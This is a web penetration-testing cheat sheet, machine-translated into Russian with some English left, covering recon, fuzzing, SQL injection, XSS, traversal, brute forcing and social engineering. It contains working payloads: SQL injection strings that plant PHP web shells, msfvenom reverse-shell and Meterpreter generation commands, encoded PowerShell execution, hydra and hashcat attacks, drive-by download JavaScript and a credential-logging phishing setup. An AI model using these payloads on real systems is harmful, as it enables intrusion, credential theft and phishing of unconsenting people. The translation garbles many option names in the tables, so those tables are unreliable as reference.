apt-get update && apt-get -y install testssl.shПроверьте сертификат SSL/TLS (например, шифры SSL/TLS, протоколы и т. Д.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
Вы также можете использовать testssl.sh для использования уязвимостей SSL/TLS.
Проверьте веб -сервер для уязвимости сердца:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtВозьмите сертификат SSL/TLS:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Используйте раскрыть с Shodan и Censys SSL/TLS Dorks, чтобы найти больше хостов в сфере.
Всегда пробуйте вход в Null Session, то есть без входа в систему пароля или ищите Интернет для учетных данных по умолчанию для конкретного веб -приложения.
Попробуйте манипулировать файлами cookie или токенами JWT, чтобы получить доступ или поднять привилегии. При входе всегда проверяйте, являются ли какие -либо из файлов cookie или jwt токенов, все еще действителен.
Всегда осматривайте локальное хранилище веб-браузера, особенно при тестировании приложения на одну страницу (SPA).
Попробуйте преобразовать, например, запрос POST HTTP в запрос HTTP GET, то есть в строку запроса, и посмотрите, как сервер отреагирует на него.
Выключите JavaScript в своем веб -браузере и снова проверьте поведение веб -приложения.
Проверьте поведение веб -приложения на мобильном устройстве, так как некоторые функции могут работать по -разному. Попробуйте подделать свой пользовательский агент или попробуйте посетить m.somesite.com .
Если вы хотите автоматизировать тестирование инъекции кода, проверьте подраздел списка слов на наличие словных слов. Некоторые из списков слов также включают запутанные инъекции кода.
Если вы видите какие -либо суммы или количества, попробуйте использовать Danielmiessler/Seclists/Tree/Master/Fuzzing/Summous Wordlist, поскольку это может вызвать непреднамеренное поведение, ошибки или даже обход минимальных и максимальных границ.
Не забудьте почиститься после себя. Удалите все созданные артефакты, вкл. Вредоносное ПО, эксплойты, инструменты, сценарии и т. Д., И вернуть все настройки и изменения от целевого хоста после того, как вы закончите тестирование.
Используется при попытке использовать открытый перенаправление, слепые сценарии поперечного сайта (XSS), DNS и HTTP-взаимодействия и т. Д.
Соберите как можно больше информации для указанной цели, посмотрите, как в 1. Разведка.
Соберите имена организаций с Whois и канонические имена с хозяином.
Вы можете дважды проверить, мертвы домены/субдомены с копанием или живым и httpx.
Проверьте, являются ли хостинговые поставщики на наличие доменов/субдоменов, уязвимы для поглощения домена/субдона в Edoverflow/can-i-take-over-xyz. Кредиты автору!
Крупнейшие поставщики облачных услуг:
Установка:
go install -v github.com/lukasikic/subzy@latest
Проверьте наличие доменов/поглощения поддодов:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
Установка:
go install -v github.com/haccer/subjack@latestПроверьте наличие доменов/поглощения поддодов:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
Узнайте, как обойти коды состояния ответа 4xx http в Ivan-Sincek/Forbidden.
Сканировать веб -сервер:
nikto -output nikto_results.txt -h somesite.com -p 80
Сканируйте веб -сайт WordPress:
wpscan -o wpscan_results.txt --url somesite.com
Установка и обновление:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utСканирование уязвимости, все шаблоны:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtТолько поглощение субдомена:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
Обнаружите параметры запроса:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
Каталоги Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Значения параметров пуха:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
Параметры пузыря:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
Дополнительный пример, внутренний SSRF Fuzzing:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Вариант | Описание |
|---|---|
| -f | Сохранить результаты в выходном файле |
| -t | Укажите количество одновременных соединений (10 по умолчанию) |
| -с | Укажите задержку по времени между запросами (0 по умолчанию) |
| -U | Укажите URL для запроса |
| -W | Укажите файл списка Words |
| -X | Укажите метод HTTP для запроса, т.е. Head или Fuzz |
| -б | Укажите файл cookie для запросов |
| -Д | Используйте данные |
| -ЧАС | Используйте заголовок |
| -hc/-hl/-hw/-hh | Скрыть ответы с указанным кодом/строки/слова/chars |
| --sc/-sl/-sw/-sh | Показать ответы с указанным кодом/строки/слова/chars |
| --сс/-hs | Показать/скрыть ответы с указанной регуляцией в контенте |
Во -первых, попробуйте просто изменить одно значение на другое, например, изменить [email protected] на [email protected] , изменить идентификатор с 1 на 2 и т. Д.
Вполне вероятно, что более низкие идентификаторы будут связаны с некоторыми более высокими привилегированными счетами или ролями.
Во -вторых, попробуйте загрязнение параметров:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
Чтобы сгенерировать вышеуказанный выход, запустите Idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
Также известен как инъекция CRLF. CRLF относится к возврату перевозки ( ASCII 13 , r ) и линейной подачи ( ASCII 10 , n ).
При кодировании r относится к %0D и n относится к %0A .
Зафиксируйте сессию cookie:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Открыть перенаправление:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
Фиксация сеанса и открытое перенаправление являются одним из многих методов, используемых в сочетании с расщеплением ответа HTTP. Поиск в Интернете для получения дополнительных методов.
Простые сценарии сценария (xss) полезные нагрузки:
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > Хостинг JavaScript на Pastebin не будет работать, потому что Pastebin всегда возвращает text/plain тип контента.
Узнайте больше о отраженных и сохраненных атаках сценариев поперечного сайта (XSS), а также атаки подделки по перекрестному запросу (XSRF/CSRF) в CATCHER IVAN-SINCEK/XSS.
Действительные электронные письма со встроенным XSS:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comСледующие полезные нагрузки были протестированы в базе данных MySQL. Обратите внимание, что MySQL требует отдача от символа комментария и следующим символом.
Если вам нужно URL, кодировать символ пробела, используйте %20 или + вместо этого.
Попробуйте произвести ошибки базы данных, введя одноразовый, задний, двойной гифен, вперед-slash или период.
Всегда обязательно закройте окружающий код.
Прочитайте эту статью OWASP, чтобы узнать, как обходить WAF.
Логический SQLI:
' OR 1=1--
' OR 1=2--
SQLI на базе профсоюза:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
Если использовать, например, 1,2,3,4 не работает, попробуйте использовать NULL,NULL,NULL,NULL соответственно.
Используйте SQLI на основе союза только тогда, когда вы сможете использовать один и тот же канал связи, чтобы запустить атаку и собрать результаты.
Цель состоит в том, чтобы определить точное количество столбцов в запросе SQL и выяснить, какие из них показаны обратно пользователю.
Другим способом определения точного количества столбцов является использование, например, ' ORDER BY 1-- , где 1 является номером столбца, используемым для сортировки- увеличение его на по одному на каждую попытку.
SQLI на основе времени:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Используйте SQLI на основе времени, когда вы не можете увидеть результаты.
Проверьте наличие наличия/правильности:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Введите простую веб -оболочку PHP на основе запроса http get:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
Чтобы успешно ввести веб -оболочку, текущий пользователь базы данных должен иметь разрешение на запись.
Введите код SQL в параметры запроса:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Вариант | Описание |
|---|---|
| -U | Целевой URL |
| -ЧАС | Дополнительный заголовок HTTP |
| --данные | Строка данных для отправки через сообщение |
| -Куки | Значение заголовка печенья http |
| -прокси | Используйте прокси для подключения к целевому URL ([protocol: //] host [: port]) |
| -п | Тестируемый параметр (ы) |
| --уровень | Уровень тестов для выполнения (1-5, по умолчанию: 1) |
| -риск | Риск выполнения тестов (1-3, по умолчанию: 1) |
| -а | Забрать все |
| -б | Получить Баннер DBMS |
| -Dump-All | Сбросьте все бугорные баз данных. |
| -Ос.-Shell | Подсказка для интерактивной оболочки операционной системы |
| -OS-Pwn | Подсказка для оболочки OOB, Meterpreter или VNC |
| --sqlmap-shell | Подсказка для интерактивной SQLMAP Shell |
| --волшебник | Простой интерфейс мастера для начинающих пользователей |
| -ДБМ | Делать. |
Переезд (например, somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Попробуйте подготовить протокол, такой как file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// и т. Д., Для пути файла; Например, file://TRAVERSAL .
Проверьте некоторые дополнительные советы по переселению каталогов в SwisskyRepo/PayloadsallThethits. Кредиты автору!
| Вариант | Описание |
|---|---|
| -М | Модуль (http, http-url, ftp, обратная нагрузка TFTP, stdout) |
| -час | Имя хоста |
| -О | Обнаружение операционной системы для интеллектуального пушина (NMAP) |
| -О | Тип операционной системы, если известно («Windows», «Unix» или «Generic») |
| -Д | Глубина обходов (по умолчанию: 6) |
| -f | Конкретное имя файла (по умолчанию: в соответствии с обнаруженной ОС) |
| -С | Используйте SSL для модуля HTTP и полезной нагрузки (не требуется для HTTP-URL) |
| -U | URL с той частью, которая будет размыта, отмеченной как обход |
| -K | Текстовый шаблон, чтобы соответствовать ответу |
| -п | Имя файла с отправленной полезной нагрузкой, а часть, которая будет размыта, отмечена ключевым словом Traversal |
| -x | Порт подключился (по умолчанию: http = 80; ftp = 21; tftp = 69) |
| -U | Имя пользователя (по умолчанию: «Аноним») |
| -П | Пароль (по умолчанию: 'dot (at) dot.pwn') |
| -М | Метод HTTP для использования при использовании модуля «http» (get, post, Head, копирование, перемещение, по умолчанию: get) |
| -б | Перерыв после того, как первая уязвимость найдена |
| -C | Продолжить, если данные не были получены от хоста |
Узнайте больше о раковинах PHP в Иване-Синсеке/PHP-reverse-shell.
Узнайте больше о снарядах Java/JSP в Иване-Синсеке/Java-Reverse-TCP.
Узнайте, как генерировать обратную полезную нагрузку для Python и отправить ее на целевую машину по адресу Ivan-Sincek/Send-TCP-платеж.
Чтобы сгенерировать Base64 encoded payload , используйте одну из следующих команд MSFVENOM, измените их на ваши потребности:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
Чтобы сгенерировать binary file , используйте одну из следующих команд MSFVENOM, измените его на вашу потребность:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
Чтобы сгенерировать DLL file , используйте одну из следующих команд MSFVENOM, измените их на ваши потребности:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
Чтобы сгенерировать standalone executable , файл используйте одну из следующих команд MSFVENOM, измените их на ваши потребности:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
Чтобы сгенерировать MSI file , используйте одну из следующих команд MSFVENOM, измените его на вашу потребность:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
Bytecode может не работать с первой попытки из -за некоторых других плохих персонажей. Пробная и ошибка является ключом.
До сих пор нет простого способа генерировать файл DLL или MSI с безмерной оболочкой метрпротера из -за проблем с размером.
Чтобы сгенерировать кодированную команду PowerShell из сценария PowerShell, запустите следующую команду PowerShell:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))Чтобы запустить кодированную команду PowerShell, запустите следующую команду либо из PowerShell, либо в командной строке:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandЧтобы расшифровать команду, закодированную PowerShell, запустите следующую команду PowerShell:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))Узнайте больше о PowerShell Reverse и свяжите оболочки TCP в Иване-Синсеке/PowerShell-Reverse-TCP.
Google A Hash, прежде чем пытаться взломать его, потому что вы можете сэкономить много времени и неприятностей.
Используйте Google Dorks, Chad или Foca, чтобы найти и загрузить файлы, а также в метаданных файлах, имена пользователей доменов для грубой силы.
Имейте в виду, что вы можете заблокировать учетные записи людей.
В некоторых веб -формах есть Captcha Challenge и/или скрытый токен подчинения, что может помешать вам от грубого воздействия. Если это так, попробуйте отправить запрос без ответа на Challenge Captcha и токена подчинения.
Вы можете найти кучу полезных списков слов в списках.
Генерировать низко альфа-ячечный список слов:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
См. Список всех доступных Charsets или добавьте свой собственный в charset.lst , расположенный по адресу /usr/share/crunch/ directory.
Создайте все возможные перестановки от слов:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
Создайте все возможные комбинации от Charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| Вариант | Описание |
|---|---|
| -Д | Ограничивает количество последовательных символов |
| -f | Определяет набор символов из файла |
| -я | Инвертирует выход |
| -Л | Когда вы используете опцию -t, этот параметр сообщает Crunch, какие символы следует рассматривать как литералы |
| -О | Указывает файл, чтобы записать вывод на |
| -п | Говорит Crunch, чтобы генерировать/проницаемые слова, которые не имеют повторяющихся символов |
| -q | Говорит Crunch прочитать файл и прочитать то, что читается |
| -Р | Говорит Crunch, чтобы возобновить, генерировать слова, откуда он остановился, -r работает только в случае, если вы используете -o |
| -с | Указывает стартовую строку |
| -t | Указывает шаблон |
| Заполнитель | Описание |
|---|---|
| @ | Нижние персонажи |
| В | Верхние персонажи |
| % | Числа |
| ^ | Символы |
К сожалению, нет заполнителей от нижних регистрации до символов.
Создайте все возможные комбинации от заполнителя:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
Чтобы идентифицировать тип хэша, запустите следующий инструмент:
hash-identifier
Брутная сила MD5 Хэши:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Брусная сила netntlmv1 хэши:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Используйте --session=<session_name> чтобы сохранить и продолжить свой прогресс в трещине позже, используя --restore .
Продолжайте взломать прогресс:
hashcat --session=cracking --restore
| Вариант | Описание |
|---|---|
| -М | Хэш-тип, см. Ссылки ниже |
| -а | Режим атаки, см. Ссылки ниже |
| --сила | Игнорировать предупреждения |
| -пробег | Сессия прервать после x секунд времени выполнения |
| -Статус | Включить автоматическое обновление экрана состояния |
| -О | Определите Outfile для восстановления хэша |
| --показывать | Показать потрескавшие пароли, найденные в PotFile |
| -Сессия | Определить конкретное имя сеанса |
| --восстановить | Восстановить сеанс из -сессии |
| ---Рестор-ФИЛ-ПАТ | Конкретный путь к восстановлению файла |
| -О | Включить оптимизированные ядра (ограничивает длину пароля) |
| -1 | Пользовательский charset? 1 |
| -2 | Пользовательский charset? 2 |
| -3 | Пользовательский charset? 3 |
| -4 | Пользовательский Charset? 4 |
При указании пользовательского Charset, Escape ? с другим ? (т.е. используйте ?? вместо ? ).
| Хэш -тип | Описание |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1700 | SHA512 |
| 200 | Mysql323 |
| 300 | Mysql4.1/mysql5 |
| 1000 | Ntlm |
| 5500 | Netntlmv1-vanilla / netntlmv1-ess |
| 5600 | Netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
Для большего количества хеш -типов прочитайте руководство.
| Режим атаки | Имя |
|---|---|
| 0 | Прямой |
| 1 | Комбинация |
| 3 | Грубая сила |
| 6 | Гибридный список слов + маска |
| 7 | Гибридная маска + список слов |
| 9 | Ассоциация |
| Чарсис | Описание |
|---|---|
| ? L. | abcdefghijklmnopqrstuvwxyz |
| ? ты | Abcdefghijklmnopqrstuvwxyz |
| ? D. | 0123456789 |
| ? s | ! "#$%& '()*+,-./:; <=>?@[]^_` {|} ~ |
| ? а | ? L? U? D? S. |
| ? б | 0x00 - 0xff |
Атака словаря:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
Вы можете найти rockyou.txt Wordlist в Seclists.
Брусная сила аш с использованием заполнителя:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
Атака словаря:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
Вы также можете проверить мой инструмент для взлома JWT в Ivan-Sincek/JWT-BF.
Я предпочитаю использовать Suite Burp для грубого силового веб -форм и Hydra для других услуг.
Словарь атака на веб -форму http post login web:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
Когда грубое принудительное вход в систему, вы должны указать Login=Login:<expected_message> чтобы различить успешные и неудачные попытки входа в систему. По мере необходимости измените имена параметров запроса имени username и password .
Атака словаря на безопасную оболочку (SSH) входит в систему:
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
Вы можете найти кучу полезных списков слов в списках.
| Вариант | Описание |
|---|---|
| -Р | Восстановите предыдущую сеанс прерванного/разбитого |
| -С | Выполните SSL Connect |
| -О | Используйте Old SSL V2 и V3 |
| -с | Если служба находится в другом порту по умолчанию, определите его здесь |
| -Л | Войдите с именем входа в систему |
| -Л | Загрузите несколько входов из файла |
| -п | Войдите с паролем |
| -П | Загрузите несколько паролей из файла |
| -x | Генерация грубой силы пароля (мин: макс: charset), тип "-x -h", чтобы получить помощь |
| -y | Отключить использование символов в BruteForce |
| -e | Попробуйте «N» NULL Password, S », входит в систему как проход и/или« r ». |
| -О | Записать найденные пары для входа/пароля в файл вместо stdout |
| -f/-f | Выход, когда найдена пара входа/проходов (-f на хост, -f Global) |
| -М | Список серверов для атаки, одну запись на строку »:« Чтобы указать порт |
| Supported Services |
|---|
| ftp[s] |
| http[s]-{get|post}-form |
| mysql |
| smb |
| smtp[s] |
| snmp |
| SSH |
| telnet[s] |
| vnc |
For more supported services read the manual.
| Brute Force Syntax | Описание |
|---|---|
| Мин | Minimum number of characters in the password |
| Максимум | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| Вариант | Описание |
|---|---|
| -d | Sends the specified data in a POST request to the HTTP server |
| -ЧАС | Extra header to include in the request when sending HTTP to a server |
| -я | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -o | Write to file instead of stdout |
